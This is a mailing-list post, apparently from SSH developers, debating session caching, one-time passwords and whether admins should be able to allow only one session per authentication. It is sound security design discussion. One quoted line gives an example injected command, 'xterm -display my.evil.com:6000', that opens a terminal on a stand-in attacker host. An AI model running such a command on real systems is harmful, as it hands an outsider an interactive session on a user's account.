Connection caching?

[Jefferson Ogata]

Darren Tucker wrote:
> Jefferson Ogata wrote:
>> Damien Miller wrote:
>>> Jefferson Ogata wrote:
>>>> You're advocating a mechanism that renders one-time passwords 
>>>> useless against a remote client compromise. 
>>>
>>> You miss the point: these controls are useless now, if they depend on
>>> the integrity of an uncontrolled client.
>>
>> I wouldn't agree that they're useless, but they're clearly incomplete, 
>> hence the /need/ for a configuration directive.
> 
> Let's imagine for a moment that the server restricts each client to only 
> one session.  If the client is compromised, there's still nothing to 
> stop it from jamming, eg, "xterm -display my.evil.com:6000" into the 
> command line.  Or pretending the connection was terminated and hijacking 
> the session outright.

The former is what OTP is supposed to prevent. The latter requires an attacker 
of unusual skill.

> What it boils down to is that once a client is authenticated, the server 
> is trusting it with the credentials of the user it allowed to log in.

I keep mentioning OTP here...

>> It disappoints me that you guys have so little concern about providing 
>> controllable authentication mechanisms. You really just don't get how 
>> dumb it is to have implemented this feature in the server /without/ 
>> having provided a configuration directive to control it, do you?
> 
> 
> There's a limit to what the server can enforce.  How, for example, could 
> it prevent a user from posting their passwordless private key to Usenet? 
>  Or writing their passwords on Post-It notes and sticking them on their 
> monitor?  Pointing a webcam at their SecurID token?  I'm sure you'll 
> agree that these are insecure behaviours.

Lazy users will do some of those things. But they won't typically scan a 
hardcopy S/KEY password list in and post it on a web page. If they do, they're 
not being lazy any more.

Access control is supposed to be about authentication /and/ authorization.
Authentication is ultimately your sole defense against intrusion. When 
authentication is compromised, authorization is your control on the scope of the 
compromise. What we have here is degraded control over authorization, and 
apparently it's been that way for some time.

It is a reasonable expectation for an admin to be able to say: one 
authentication authorizes one session. If the admin wants to relax that control, 
fine, but it needs to be discretionary.

>> As for writing a patch, I wrote a patch ("Requiring multiple auth 
>> mechanisms") a few weeks ago and submitted it to the list. I didn't 
>> get one useful bit of feedback, or any indication whatever that the 
>> maintainers even understood the purpose of the patch.
> 
> I looked at it in conjunction with bug #701 (which is the 
> "PermitRootLogin without-password" thing).  It occurred to me that a 
> more general mechanism could be a better solution for both.  As usual, I 
> got sidetracked.

That's certainly understandable.

-- 
Jefferson Ogata <Jefferson.Ogata at noaa.gov>
NOAA Computer Incident Response Team (N-CIRT) <ncirt at noaa.gov>